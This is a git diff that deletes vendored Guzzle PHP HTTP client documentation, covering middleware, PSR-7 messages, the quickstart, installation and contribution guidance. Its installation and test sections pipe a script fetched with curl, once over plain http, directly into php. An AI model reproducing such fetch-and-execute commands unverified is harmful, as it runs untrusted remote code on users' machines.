or remove middleware -by name. - -.. code-block:: php - - use Psr\Http\Message\RequestInterface; - use GuzzleHttp\Middleware; - - // Add a middleware with a name - $stack->push(Middleware::mapRequest(function (RequestInterface $r) { - return $r->withHeader('X-Foo', 'Bar'); - }, 'add_foo'); - - // Add a middleware before a named middleware (unshift before). - $stack->before('add_foo', Middleware::mapRequest(function (RequestInterface $r) { - return $r->withHeader('X-Baz', 'Qux'); - }, 'add_baz'); - - // Add a middleware after a named middleware (pushed after). - $stack->after('add_baz', Middleware::mapRequest(function (RequestInterface $r) { - return $r->withHeader('X-Lorem', 'Ipsum'); - }); - - // Remove a middleware by name - $stack->remove('add_foo'); - - -Creating a Handler -================== - -As stated earlier, a handler is a function accepts a -``Psr\Http\Message\RequestInterface`` and array of request options and returns -a ``GuzzleHttp\Promise\PromiseInterface`` that is fulfilled with a -``Psr\Http\Message\ResponseInterface`` or rejected with an exception. - -A handler is responsible for applying the following :doc:`request-options`. -These request options are a subset of request options called -"transfer options". - -- :ref:`cert-option` -- :ref:`connect_timeout-option` -- :ref:`debug-option` -- :ref:`delay-option` -- :ref:`decode_content-option` -- :ref:`expect-option` -- :ref:`proxy-option` -- :ref:`sink-option` -- :ref:`timeout-option` -- :ref:`ssl_key-option` -- :ref:`stream-option` -- :ref:`verify-option` diff --git a/vendor/guzzlehttp/guzzle/docs/index.rst b/vendor/guzzlehttp/guzzle/docs/index.rst deleted file mode 100644 index 9d8267a23e..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/index.rst +++ /dev/null @@ -1,54 +0,0 @@ -.. title:: Guzzle, PHP HTTP client - -==================== -Guzzle Documentation -==================== - -Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and -trivial to integrate with web services. - -- Simple interface for building query strings, POST requests, streaming large - uploads, streaming large downloads, using HTTP cookies, uploading JSON data, - etc... -- Can send both synchronous and asynchronous requests using the same interface. -- Uses PSR-7 interfaces for requests, responses, and streams. This allows you - to utilize other PSR-7 compatible libraries with Guzzle. -- Abstracts away the underlying HTTP transport, allowing you to write - environment and transport agnostic code; i.e., no hard dependency on cURL, - PHP streams, sockets, or non-blocking event loops. -- Middleware system allows you to augment and compose client behavior. - -.. code-block:: php - - $client = new GuzzleHttp\Client(); - $res = $client->request('GET', 'https://api.github.com/user', [ - 'auth' => ['user', 'pass'] - ]); - echo $res->getStatusCode(); - // "200" - echo $res->getHeader('content-type')[0]; - // 'application/json; charset=utf8' - echo $res->getBody(); - // {"type":"User"...' - - // Send an asynchronous request. - $request = new \GuzzleHttp\Psr7\Request('GET', 'http://httpbin.org'); - $promise = $client->sendAsync($request)->then(function ($response) { - echo 'I completed! ' . $response->getBody(); - }); - $promise->wait(); - - -User Guide -========== - -.. toctree:: - :maxdepth: 3 - - overview - quickstart - request-options - psr7 - handlers-and-middleware - testing - faq diff --git a/vendor/guzzlehttp/guzzle/docs/overview.rst b/vendor/guzzlehttp/guzzle/docs/overview.rst deleted file mode 100644 index 00b04264d3..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/overview.rst +++ /dev/null @@ -1,161 +0,0 @@ -======== -Overview -======== - -Requirements -============ - -#. PHP 5.5.0 -#. To use the PHP stream handler, ``allow_url_fopen`` must be enabled in your - system's php.ini. -#. To use the cURL handler, you must have a recent version of cURL >= 7.19.4 - compiled with OpenSSL and zlib. - -.. note:: - - Guzzle no longer requires cURL in order to send HTTP requests. Guzzle will - use the PHP stream wrapper to send HTTP requests if cURL is not installed. - Alternatively, you can provide your own HTTP handler used to send requests. - Keep in mind that cURL is still required for sending concurrent requests. - - -.. _installation: - - -Installation -============ - -The recommended way to install Guzzle is with -`Composer `_. Composer is a dependency management tool -for PHP that allows you to declare the dependencies your project needs and -installs them into your project. - -.. code-block:: bash - - # Install Composer - curl -sS https://getcomposer.org/installer | php - -You can add Guzzle as a dependency using the composer.phar CLI: - -.. code-block:: bash - - php composer.phar require guzzlehttp/guzzle:~6.0 - -Alternatively, you can specify Guzzle as a dependency in your project's -existing composer.json file: - -.. code-block:: js - - { - "require": { - "guzzlehttp/guzzle": "~6.0" - } - } - -After installing, you need to require Composer's autoloader: - -.. code-block:: php - - require 'vendor/autoload.php'; - -You can find out more on how to install Composer, configure autoloading, and -other best-practices for defining dependencies at `getcomposer.org `_. - - -Bleeding edge -------------- - -During your development, you can keep up with the latest changes on the master -branch by setting the version requirement for Guzzle to ``~6.0@dev``. - -.. code-block:: js - - { - "require": { - "guzzlehttp/guzzle": "~6.0@dev" - } - } - - -License -======= - -Licensed using the `MIT license `_. - - Copyright (c) 2015 Michael Dowling - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - THE SOFTWARE. - - -Contributing -============ - - -Guidelines ----------- - -1. Guzzle utilizes PSR-1, PSR-2, PSR-4, and PSR-7. -2. Guzzle is meant to be lean and fast with very few dependencies. This means - that not every feature request will be accepted. -3. Guzzle has a minimum PHP version requirement of PHP 5.5. Pull requests must - not require a PHP version greater than PHP 5.5 unless the feature is only - utilized conditionally. -4. All pull requests must include unit tests to ensure the change works as - expected and to prevent regressions. - - -Running the tests ------------------ - -In order to contribute, you'll need to checkout the source from GitHub and -install Guzzle's dependencies using Composer: - -.. code-block:: bash - - git clone https://github.com/guzzle/guzzle.git - cd guzzle && curl -s http://getcomposer.org/installer | php && ./composer.phar install --dev - -Guzzle is unit tested with PHPUnit. Run the tests using the Makefile: - -.. code-block:: bash - - make test - -.. note:: - - You'll need to install node.js v0.5.0 or newer in order to perform - integration tests on Guzzle's HTTP handlers. - - -Reporting a security vulnerability -================================== - -We want to ensure that Guzzle is a secure HTTP client library for everyone. If -you've discovered a security vulnerability in Guzzle, we appreciate your help -in disclosing it to us in a `responsible manner `_. - -Publicly disclosing a vulnerability can put the entire community at risk. If -you've discovered a security concern, please email us at -security@guzzlephp.org. We'll work with you to make sure that we understand the -scope of the issue, and that we fully address your concern. We consider -correspondence sent to security@guzzlephp.org our highest priority, and work to -address any issues that arise as quickly as possible. - -After a security vulnerability has been corrected, a security hotfix release will -be deployed as soon as possible. diff --git a/vendor/guzzlehttp/guzzle/docs/psr7.rst b/vendor/guzzlehttp/guzzle/docs/psr7.rst deleted file mode 100644 index d29aba35ff..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/psr7.rst +++ /dev/null @@ -1,456 +0,0 @@ -================ -Guzzle and PSR-7 -================ - -Guzzle utilizes PSR-7 as the HTTP message interface. This allows Guzzle to work -with any other library that utilizes PSR-7 message interfaces. - -Guzzle is an HTTP client that sends HTTP requests to a server and receives HTTP -responses. Both requests and responses are referred to as messages. - -Guzzle relies on the ``guzzlehttp/psr7`` Composer package for its message -implementation of PSR-7. - -You can create a request using the ``GuzzleHttp\Psr7\Request`` class: - -.. code-block:: php - - use GuzzleHttp\Psr7\Request; - - $request = new Request('GET', 'http://httpbin.org/get'); - - // You can provide other optional constructor arguments. - $headers = ['X-Foo' => 'Bar']; - $body = 'hello!'; - $request = new Request('PUT', 'http://httpbin.org/put', $headers, $body); - -You can create a response using the ``GuzzleHttp\Psr7\Response`` class: - -.. code-block:: php - - use GuzzleHttp\Psr7\Response; - - // The constructor requires no arguments. - $response = new Response(); - echo $response->getStatusCode(); // 200 - echo $response->getProtocolVersion(); // 1.1 - - // You can supply any number of optional arguments. - $status = 200; - $headers = ['X-Foo' => 'Bar']; - $body = 'hello!'; - $protocol = '1.1'; - $response = new Response($status, $headers, $body, $protocol); - - -Headers -======= - -Both request and response messages contain HTTP headers. - - -Accessing Headers ------------------ - -You can check if a request or response has a specific header using the -``hasHeader()`` method. - -.. code-block:: php - - use GuzzleHttp\Psr7; - - $request = new Psr7\Request('GET', '/', ['X-Foo' => 'bar']); - - if ($request->hasHeader('X-Foo')) { - echo 'It is there'; - } - -You can retrieve all the header values as an array of strings using -``getHeader()``. - -.. code-block:: php - - $request->getHeader('X-Foo'); // ['bar'] - - // Retrieving a missing header returns an empty array. - $request->getHeader('X-Bar'); // [] - -You can iterate over the headers of a message using the ``getHeaders()`` -method. - -.. code-block:: php - - foreach ($request->getHeaders() as $name => $values) { - echo $name . ': ' . implode(', ', $values) . "\r\n"; - } - - -Complex Headers ---------------- - -Some headers contain additional key value pair information. For example, Link -headers contain a link and several key value pairs: - -:: - - ; rel="thing"; type="image/jpeg" - -Guzzle provides a convenience feature that can be used to parse these types of -headers: - -.. code-block:: php - - use GuzzleHttp\Psr7; - - $request = new Psr7\Request('GET', '/', [ - 'Link' => '; rel="front"; type="image/jpeg"' - ]); - - $parsed = Psr7\parse_header($request->getHeader('Link')); - var_export($parsed); - -Will output: - -.. code-block:: php - - array ( - 0 => - array ( - 0 => '', - 'rel' => 'front', - 'type' => 'image/jpeg', - ), - ) - -The result contains a hash of key value pairs. Header values that have no key -(i.e., the link) are indexed numerically while headers parts that form a key -value pair are added as a key value pair. - - -Body -==== - -Both request and response messages can contain a body. - -You can retrieve the body of a message using the ``getBody()`` method: - -.. code-block:: php - - $response = GuzzleHttp\get('http://httpbin.org/get'); - echo $response->getBody(); - // JSON string: { ... } - -The body used in request and response objects is a -``Psr\Http\Message\StreamInterface``. This stream is used for both -uploading data and downloading data. Guzzle will, by default, store the body of -a message in a stream that uses PHP temp streams. When the size of the body -exceeds 2 MB, the stream will automatically switch to storing data on disk -rather than in memory (protecting your application from memory exhaustion). - -The easiest way to create a body for a message is using the ``stream_for`` -function from the ``GuzzleHttp\Psr7`` namespace -- -``GuzzleHttp\Psr7\stream_for``. This function accepts strings, resources, -callables, iterators, other streamables, and returns an instance of -``Psr\Http\Message\StreamInterface``. - -The body of a request or response can be cast to a string or you can read and -write bytes off of the stream as needed. - -.. code-block:: php - - use GuzzleHttp\Stream\Stream; - $response = $client->request('GET', 'http://httpbin.org/get'); - - echo $response->getBody()->read(4); - echo $response->getBody()->read(4); - echo $response->getBody()->read(1024); - var_export($response->eof()); - - -Requests -======== - -Requests are sent from a client to a server. Requests include the method to -be applied to a resource, the identifier of the resource, and the protocol -version to use. - - -Request Methods ---------------- - -When creating a request, you are expected to provide the HTTP method you wish -to perform. You can specify any method you'd like, including a custom method -that might not be part of RFC 7231 (like "MOVE"). - -.. code-block:: php - - // Create a request using a completely custom HTTP method - $request = new \GuzzleHttp\Psr7\Request('MOVE', 'http://httpbin.org/move'); - - echo $request->getMethod(); - // MOVE - -You can create and send a request using methods on a client that map to the -HTTP method you wish to use. - -:GET: ``$client->get('http://httpbin.org/get', [/** options **/])`` -:POST: ``$client->post('http://httpbin.org/post', [/** options **/])`` -:HEAD: ``$client->head('http://httpbin.org/get', [/** options **/])`` -:PUT: ``$client->put('http://httpbin.org/put', [/** options **/])`` -:DELETE: ``$client->delete('http://httpbin.org/delete', [/** options **/])`` -:OPTIONS: ``$client->options('http://httpbin.org/get', [/** options **/])`` -:PATCH: ``$client->patch('http://httpbin.org/put', [/** options **/])`` - -For example: - -.. code-block:: php - - $response = $client->patch('http://httpbin.org/patch', ['body' => 'content']); - - -Request URI ------------ - -The request URI is represented by a ``Psr\Http\Message\UriInterface`` object. -Guzzle provides an implementation of this interface using the -``GuzzleHttp\Psr7\Uri`` class. - -When creating a request, you can provide the URI as a string or an instance of -``Psr\Http\Message\UriInterface``. - -.. code-block:: php - - $response = $client->request('GET', 'http://httpbin.org/get?q=foo'); - - -Scheme ------- - -The `scheme `_ of a request -specifies the protocol to use when sending the request. When using Guzzle, the -scheme can be set to "http" or "https". - -.. code-block:: php - - $request = new Request('GET', 'http://httpbin.org'); - echo $request->getUri()->getScheme(); // http - echo $request->getUri(); // http://httpbin.org - - -Host ----- - -The host is accessible using the URI owned by the request or by accessing the -Host header. - -.. code-block:: php - - $request = new Request('GET', 'http://httpbin.org'); - echo $request->getUri()->getHost(); // httpbin.org - echo $request->getHeader('Host'); // httpbin.org - - -Port ----- - -No port is necessary when using the "http" or "https" schemes. - -.. code-block:: php - - $request = new Request('GET', 'http://httpbin.org:8080'); - echo $request->getUri()->getPort(); // 8080 - echo $request->getUri(); // http://httpbin.org:8080 - - -Path ----- - -The path of a request is accessible via the URI object. - -.. code-block:: php - - $request = new Request('GET', 'http://httpbin.org/get'); - echo $request->getUri()->getPath(); // /get - -The contents of the path will be automatically filtered to ensure that only -allowed characters are present in the path. Any characters that are not allowed -in the path will be percent-encoded according to -`RFC 3986 section 3.3 `_ - - -Query string ------------- - -The query string of a request can be accessed using the ``getQuery()`` of the -URI object owned by the request. - -.. code-block:: php - - $request = new Request('GET', 'http://httpbin.org/?foo=bar'); - echo $request->getUri()->getQuery(); // foo=bar - -The contents of the query string will be automatically filtered to ensure that -only allowed characters are present in the query string. Any characters that -are not allowed in the query string will be percent-encoded according to -`RFC 3986 section 3.4 `_ - - -Responses -========= - -Responses are the HTTP messages a client receives from a server after sending -an HTTP request message. - - -Start-Line ----------- - -The start-line of a response contains the protocol and protocol version, -status code, and reason phrase. - -.. code-block:: php - - $client = new \GuzzleHttp\Client(); - $response = $client->request('GET', 'http://httpbin.org/get'); - - echo $response->getStatusCode(); // 200 - echo $response->getReasonPhrase(); // OK - echo $response->getProtocolVersion(); // 1.1 - - -Body ----- - -As described earlier, you can get the body of a response using the -``getBody()`` method. - -.. code-block:: php - - $body = $response->getBody(); - echo $body; - // Cast to a string: { ... } - $body->seek(0); - // Rewind the body - $body->read(1024); - // Read bytes of the body - - -Streams -======= - -Guzzle uses PSR-7 stream objects to represent request and response message -bodies. These stream objects allow you to work with various types of data all -using a common interface. - -HTTP messages consist of a start-line, headers, and a body. The body of an HTTP -message can be very small or extremely large. Attempting to represent the body -of a message as a string can easily consume more memory than intended because -the body must be stored completely in memory. Attempting to store the body of a -request or response in memory would preclude the use of that implementation from -being able to work with large message bodies. The StreamInterface is used in -order to hide the implementation details of where a stream of data is read from -or written to. - -The PSR-7 ``Psr\Http\Message\StreamInterface`` exposes several methods -that enable streams to be read from, written to, and traversed effectively. - -Streams expose their capabilities using three methods: ``isReadable()``, -``isWritable()``, and ``isSeekable()``. These methods can be used by stream -collaborators to determine if a stream is capable of their requirements. - -Each stream instance has various capabilities: they can be read-only, -write-only, read-write, allow arbitrary random access (seeking forwards or -backwards to any location), or only allow sequential access (for example in the -case of a socket or pipe). - -Guzzle uses the ``guzzlehttp/psr7`` package to provide stream support. More -information on using streams, creating streams, converting streams to PHP -stream resource, and stream decorators can be found in the -`Guzzle PSR-7 documentation `_. - - -Creating Streams ----------------- - -The best way to create a stream is using the ``GuzzleHttp\Psr7\stream_for`` -function. This function accepts strings, resources returned from ``fopen()``, -an object that implements ``__toString()``, iterators, callables, and instances -of ``Psr\Http\Message\StreamInterface``. - -.. code-block:: php - - use GuzzleHttp\Psr7; - - $stream = Psr7\stream_for('string data'); - echo $stream; - // string data - echo $stream->read(3); - // str - echo $stream->getContents(); - // ing data - var_export($stream->eof()); - // true - var_export($stream->tell()); - // 11 - -You can create streams from iterators. The iterator can yield any number of -bytes per iteration. Any excess bytes returned by the iterator that were not -requested by a stream consumer will be buffered until a subsequent read. - -.. code-block:: php - - use GuzzleHttp\Psr7; - - $generator = function ($bytes) { - for ($i = 0; $i < $bytes; $i++) { - yield '.'; - } - }; - - $iter = $generator(1024); - $stream = Psr7\stream_for($iter); - echo $stream->read(3); // ... - - -Metadata --------- - -Streams expose stream metadata through the ``getMetadata()`` method. This -method provides the data you would retrieve when calling PHP's -`stream_get_meta_data() function `_, -and can optionally expose other custom data. - -.. code-block:: php - - use GuzzleHttp\Psr7; - - $resource = fopen('/path/to/file', 'r'); - $stream = Psr7\stream_for($resource); - echo $stream->getMetadata('uri'); - // /path/to/file - var_export($stream->isReadable()); - // true - var_export($stream->isWritable()); - // false - var_export($stream->isSeekable()); - // true - - -Stream Decorators ------------------ - -Adding custom functionality to streams is very simple with stream decorators. -Guzzle provides several built-in decorators that provide additional stream -functionality. - -- `AppendStream `_ -- `BufferStream `_ -- `CachingStream `_ -- `DroppingStream `_ -- `FnStream `_ -- `InflateStream `_ -- `LazyOpenStream `_ -- `LimitStream `_ -- `MultipartStream `_ -- `NoSeekStream `_ -- `PumpStream `_ diff --git a/vendor/guzzlehttp/guzzle/docs/quickstart.rst b/vendor/guzzlehttp/guzzle/docs/quickstart.rst deleted file mode 100644 index a878514e62..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/quickstart.rst +++ /dev/null @@ -1,624 +0,0 @@ -========== -Quickstart -========== - -This page provides a quick introduction to Guzzle and introductory examples. -If you have not already installed, Guzzle, head over to the :ref:`installation` -page. - - -Making a Request -================ - -You can send requests with Guzzle using a ``GuzzleHttp\ClientInterface`` -object. - - -Creating a Client ------------------ - -.. code-block:: php - - use GuzzleHttp\Client; - - $client = new Client([ - // Base URI is used with relative requests - 'base_uri' => 'http://httpbin.org', - // You can set any number of default request options. - 'timeout' => 2.0, - ]); - -Clients are immutable in Guzzle 6, which means that you cannot change the defaults used by a client after it's created. - -The client constructor accepts an associative array of options: - -``base_uri`` - (string|UriInterface) Base URI of the client that is merged into relative - URIs. Can be a string or instance of UriInterface. When a relative URI - is provided to a client, the client will combine the base URI with the - relative URI using the rules described in - `RFC 3986, section 2 `_. - - .. code-block:: php - - // Create a client with a base URI - $client = new GuzzleHttp\Client(['base_uri' => 'https://foo.com/api/']); - // Send a request to https://foo.com/api/test - $response = $client->request('GET', 'test'); - // Send a request to https://foo.com/root - $response = $client->request('GET', '/root'); - - Don't feel like reading RFC 3986? Here are some quick examples on how a - ``base_uri`` is resolved with another URI. - - ======================= ================== =============================== - base_uri URI Result - ======================= ================== =============================== - ``http://foo.com`` ``/bar`` ``http://foo.com/bar`` - ``http://foo.com/foo`` ``/bar`` ``http://foo.com/bar`` - ``http://foo.com/foo`` ``bar`` ``http://foo.com/bar`` - ``http://foo.com/foo/`` ``bar`` ``http://foo.com/foo/bar`` - ``http://foo.com`` ``http://baz.com`` ``http://baz.com`` - ``http://foo.com/?bar`` ``bar`` ``http://foo.com/bar`` - ======================= ================== =============================== - -``handler`` - (callable) Function that transfers HTTP requests over the wire. The - function is called with a ``Psr7\Http\Message\RequestInterface`` and array - of transfer options, and must return a - ``GuzzleHttp\Promise\PromiseInterface`` that is fulfilled with a - ``Psr7\Http\Message\ResponseInterface`` on success. - -``...`` - (mixed) All other options passed to the constructor are used as default - request options with every request created by the client. - - -Sending Requests ----------------- - -Magic methods on the client make it easy to send synchronous requests: - -.. code-block:: php - - $response = $client->get('http://httpbin.org/get'); - $response = $client->delete('http://httpbin.org/delete'); - $response = $client->head('http://httpbin.org/get'); - $response = $client->options('http://httpbin.org/get'); - $response = $client->patch('http://httpbin.org/patch'); - $response = $client->post('http://httpbin.org/post'); - $response = $client->put('http://httpbin.org/put'); - -You can create a request and then send the request with the client when you're -ready: - -.. code-block:: php - - use GuzzleHttp\Psr7\Request; - - $request = new Request('PUT', 'http://httpbin.org/put'); - $response = $client->send($request, ['timeout' => 2]); - -Client objects provide a great deal of flexibility in how request are -transferred including default request options, default handler stack middleware -that are used by each request, and a base URI that allows you to send requests -with relative URIs. - -You can find out more about client middleware in the -:doc:`handlers-and-middleware` page of the documentation. - - -Async Requests --------------- - -You can send asynchronous requests using the magic methods provided by a client: - -.. code-block:: php - - $promise = $client->getAsync('http://httpbin.org/get'); - $promise = $client->deleteAsync('http://httpbin.org/delete'); - $promise = $client->headAsync('http://httpbin.org/get'); - $promise = $client->optionsAsync('http://httpbin.org/get'); - $promise = $client->patchAsync('http://httpbin.org/patch'); - $promise = $client->postAsync('http://httpbin.org/post'); - $promise = $client->putAsync('http://httpbin.org/put'); - -You can also use the `sendAsync()` and `requestAsync()` methods of a client: - -.. code-block:: php - - use GuzzleHttp\Psr7\Request; - - // Create a PSR-7 request object to send - $headers = ['X-Foo' => 'Bar']; - $body = 'Hello!'; - $request = new Request('HEAD', 'http://httpbin.org/head', $headers, $body); - $promise = $client->sendAsync($request); - - // Or, if you don't need to pass in a request instance: - $promise = $client->requestAsync('GET', 'http://httpbin.org/get'); - -The promise returned by these methods implements the -`Promises/A+ spec `_, provided by the -`Guzzle promises library `_. This means -that you can chain ``then()`` calls off of the promise. These then calls are -either fulfilled with a successful ``Psr\Http\Message\ResponseInterface`` or -rejected with an exception. - -.. code-block:: php - - use Psr\Http\Message\ResponseInterface; - use GuzzleHttp\Exception\RequestException; - - $promise = $client->requestAsync('GET', 'http://httpbin.org/get'); - $promise->then( - function (ResponseInterface $res) { - echo $res->getStatusCode() . "\n"; - }, - function (RequestException $e) { - echo $e->getMessage() . "\n"; - echo $e->getRequest()->getMethod(); - } - ); - - -Concurrent requests -------------------- - -You can send multiple requests concurrently using promises and asynchronous -requests. - -.. code-block:: php - - use GuzzleHttp\Client; - use GuzzleHttp\Promise; - - $client = new Client(['base_uri' => 'http://httpbin.org/']); - - // Initiate each request but do not block - $promises = [ - 'image' => $client->getAsync('/image'), - 'png' => $client->getAsync('/image/png'), - 'jpeg' => $client->getAsync('/image/jpeg'), - 'webp' => $client->getAsync('/image/webp') - ]; - - // Wait for the requests to complete; throws a ConnectException - // if any of the requests fail - $responses = Promise\unwrap($promises); - - // Wait for the requests to complete, even if some of them fail - $responses = Promise\settle($promises)->wait(); - - // You can access each response using the key of the promise - echo $responses['image']->getHeader('Content-Length')[0]; - echo $responses['png']->getHeader('Content-Length')[0]; - -You can use the ``GuzzleHttp\Pool`` object when you have an indeterminate -amount of requests you wish to send. - -.. code-block:: php - - use GuzzleHttp\Client; - use GuzzleHttp\Exception\RequestException; - use GuzzleHttp\Pool; - use GuzzleHttp\Psr7\Request; - use GuzzleHttp\Psr7\Response; - - $client = new Client(); - - $requests = function ($total) { - $uri = 'http://127.0.0.1:8126/guzzle-server/perf'; - for ($i = 0; $i < $total; $i++) { - yield new Request('GET', $uri); - } - }; - - $pool = new Pool($client, $requests(100), [ - 'concurrency' => 5, - 'fulfilled' => function (Response $response, $index) { - // this is delivered each successful response - }, - 'rejected' => function (RequestException $reason, $index) { - // this is delivered each failed request - }, - ]); - - // Initiate the transfers and create a promise - $promise = $pool->promise(); - - // Force the pool of requests to complete. - $promise->wait(); - -Or using a closure that will return a promise once the pool calls the closure. - -.. code-block:: php - - $client = new Client(); - - $requests = function ($total) use ($client) { - $uri = 'http://127.0.0.1:8126/guzzle-server/perf'; - for ($i = 0; $i < $total; $i++) { - yield function() use ($client, $uri) { - return $client->getAsync($uri); - }; - } - }; - - $pool = new Pool($client, $requests(100)); - - -Using Responses -=============== - -In the previous examples, we retrieved a ``$response`` variable or we were -delivered a response from a promise. The response object implements a PSR-7 -response, ``Psr\Http\Message\ResponseInterface``, and contains lots of -helpful information. - -You can get the status code and reason phrase of the response: - -.. code-block:: php - - $code = $response->getStatusCode(); // 200 - $reason = $response->getReasonPhrase(); // OK - -You can retrieve headers from the response: - -.. code-block:: php - - // Check if a header exists. - if ($response->hasHeader('Content-Length')) { - echo "It exists"; - } - - // Get a header from the response. - echo $response->getHeader('Content-Length')[0]; - - // Get all of the response headers. - foreach ($response->getHeaders() as $name => $values) { - echo $name . ': ' . implode(', ', $values) . "\r\n"; - } - -The body of a response can be retrieved using the ``getBody`` method. The body -can be used as a string, cast to a string, or used as a stream like object. - -.. code-block:: php - - $body = $response->getBody(); - // Implicitly cast the body to a string and echo it - echo $body; - // Explicitly cast the body to a string - $stringBody = (string) $body; - // Read 10 bytes from the body - $tenBytes = $body->read(10); - // Read the remaining contents of the body as a string - $remainingBytes = $body->getContents(); - - -Query String Parameters -======================= - -You can provide query string parameters with a request in several ways. - -You can set query string parameters in the request's URI: - -.. code-block:: php - - $response = $client->request('GET', 'http://httpbin.org?foo=bar'); - -You can specify the query string parameters using the ``query`` request -option as an array. - -.. code-block:: php - - $client->request('GET', 'http://httpbin.org', [ - 'query' => ['foo' => 'bar'] - ]); - -Providing the option as an array will use PHP's ``http_build_query`` function -to format the query string. - -And finally, you can provide the ``query`` request option as a string. - -.. code-block:: php - - $client->request('GET', 'http://httpbin.org', ['query' => 'foo=bar']); - - -Uploading Data -============== - -Guzzle provides several methods for uploading data. - -You can send requests that contain a stream of data by passing a string, -resource returned from ``fopen``, or an instance of a -``Psr\Http\Message\StreamInterface`` to the ``body`` request option. - -.. code-block:: php - - // Provide the body as a string. - $r = $client->request('POST', 'http://httpbin.org/post', [ - 'body' => 'raw data' - ]); - - // Provide an fopen resource. - $body = fopen('/path/to/file', 'r'); - $r = $client->request('POST', 'http://httpbin.org/post', ['body' => $body]); - - // Use the stream_for() function to create a PSR-7 stream. - $body = \GuzzleHttp\Psr7\stream_for('hello!'); - $r = $client->request('POST', 'http://httpbin.org/post', ['body' => $body]); - -An easy way to upload JSON data and set the appropriate header is using the -``json`` request option: - -.. code-block:: php - - $r = $client->request('PUT', 'http://httpbin.org/put', [ - 'json' => ['foo' => 'bar'] - ]); - - -POST/Form Requests ------------------- - -In addition to specifying the raw data of a request using the ``body`` request -option, Guzzle provides helpful abstractions over sending POST data. - - -Sending form fields -~~~~~~~~~~~~~~~~~~~ - -Sending ``application/x-www-form-urlencoded`` POST requests requires that you -specify the POST fields as an array in the ``form_params`` request options. - -.. code-block:: php - - $response = $client->request('POST', 'http://httpbin.org/post', [ - 'form_params' => [ - 'field_name' => 'abc', - 'other_field' => '123', - 'nested_field' => [ - 'nested' => 'hello' - ] - ] - ]); - - -Sending form files -~~~~~~~~~~~~~~~~~~ - -You can send files along with a form (``multipart/form-data`` POST requests), -using the ``multipart`` request option. ``multipart`` accepts an array of -associative arrays, where each associative array contains the following keys: - -- name: (required, string) key mapping to the form field name. -- contents: (required, mixed) Provide a string to send the contents of the - file as a string, provide an fopen resource to stream the contents from a - PHP stream, or provide a ``Psr\Http\Message\StreamInterface`` to stream - the contents from a PSR-7 stream. - -.. code-block:: php - - $response = $client->request('POST', 'http://httpbin.org/post', [ - 'multipart' => [ - [ - 'name' => 'field_name', - 'contents' => 'abc' - ], - [ - 'name' => 'file_name', - 'contents' => fopen('/path/to/file', 'r') - ], - [ - 'name' => 'other_file', - 'contents' => 'hello', - 'filename' => 'filename.txt', - 'headers' => [ - 'X-Foo' => 'this is an extra header to include' - ] - ] - ] - ]); - - -Cookies -======= - -Guzzle can maintain a cookie session for you if instructed using the -``cookies`` request option. When sending a request, the ``cookies`` option -must be set to an instance of ``GuzzleHttp\Cookie\CookieJarInterface``. - -.. code-block:: php - - // Use a specific cookie jar - $jar = new \GuzzleHttp\Cookie\CookieJar; - $r = $client->request('GET', 'http://httpbin.org/cookies', [ - 'cookies' => $jar - ]); - -You can set ``cookies`` to ``true`` in a client constructor if you would like -to use a shared cookie jar for all requests. - -.. code-block:: php - - // Use a shared client cookie jar - $client = new \GuzzleHttp\Client(['cookies' => true]); - $r = $client->request('GET', 'http://httpbin.org/cookies'); - -Different implementations exist for the ``GuzzleHttp\Cookie\CookieJarInterface`` -: - -- The ``GuzzleHttp\Cookie\CookieJar`` class stores cookies as an array. -- The ``GuzzleHttp\Cookie\FileCookieJar`` class persists non-session cookies - using a JSON formatted file. -- The ``GuzzleHttp\Cookie\SessionCookieJar`` class persists cookies in the - client session. - -You can manually set cookies into a cookie jar with the named constructor -``fromArray(array $cookies, $domain)``. - -.. code-block:: php - - $jar = \GuzzleHttp\Cookie\CookieJar::fromArray( - [ - 'some_cookie' => 'foo', - 'other_cookie' => 'barbaz1234' - ], - 'example.org' - ); - -You can get a cookie by its name with the ``getCookieByName($name)`` method -which returns a ``GuzzleHttp\Cookie\SetCookie`` instance. - -.. code-block:: php - - $cookie = $jar->getCookieByName('some_cookie'); - - $cookie->getValue(); // 'foo' - $cookie->getDomain(); // 'example.org' - $cookie->getExpires(); // expiration date as a Unix timestamp - -The cookies can be also fetched into an array thanks to the `toArray()` method. -The ``GuzzleHttp\Cookie\CookieJarInterface`` interface extends -``Traversable`` so it can be iterated in a foreach loop. - - -Redirects -========= - -Guzzle will automatically follow redirects unless you tell it not to. You can -customize the redirect behavior using the ``allow_redirects`` request option. - -- Set to ``true`` to enable normal redirects with a maximum number of 5 - redirects. This is the default setting. -- Set to ``false`` to disable redirects. -- Pass an associative array containing the 'max' key to specify the maximum - number of redirects and optionally provide a 'strict' key value to specify - whether or not to use strict RFC compliant redirects (meaning redirect POST - requests with POST requests vs. doing what most browsers do which is - redirect POST requests with GET requests). - -.. code-block:: php - - $response = $client->request('GET', 'http://github.com'); - echo $response->getStatusCode(); - // 200 - -The following example shows that redirects can be disabled. - -.. code-block:: php - - $response = $client->request('GET', 'http://github.com', [ - 'allow_redirects' => false - ]); - echo $response->getStatusCode(); - // 301 - - -Exceptions -========== - -**Tree View** - -The following tree view describes how the Guzzle Exceptions depend -on each other. - -.. code-block:: none - - . \RuntimeException - ├── SeekException (implements GuzzleException) - └── TransferException (implements GuzzleException) - └── RequestException - ├── BadResponseException - │   ├── ServerException - │ └── ClientException - ├── ConnectException - └── TooManyRedirectsException - -Guzzle throws exceptions for errors that occur during a transfer. - -- In the event of a networking error (connection timeout, DNS errors, 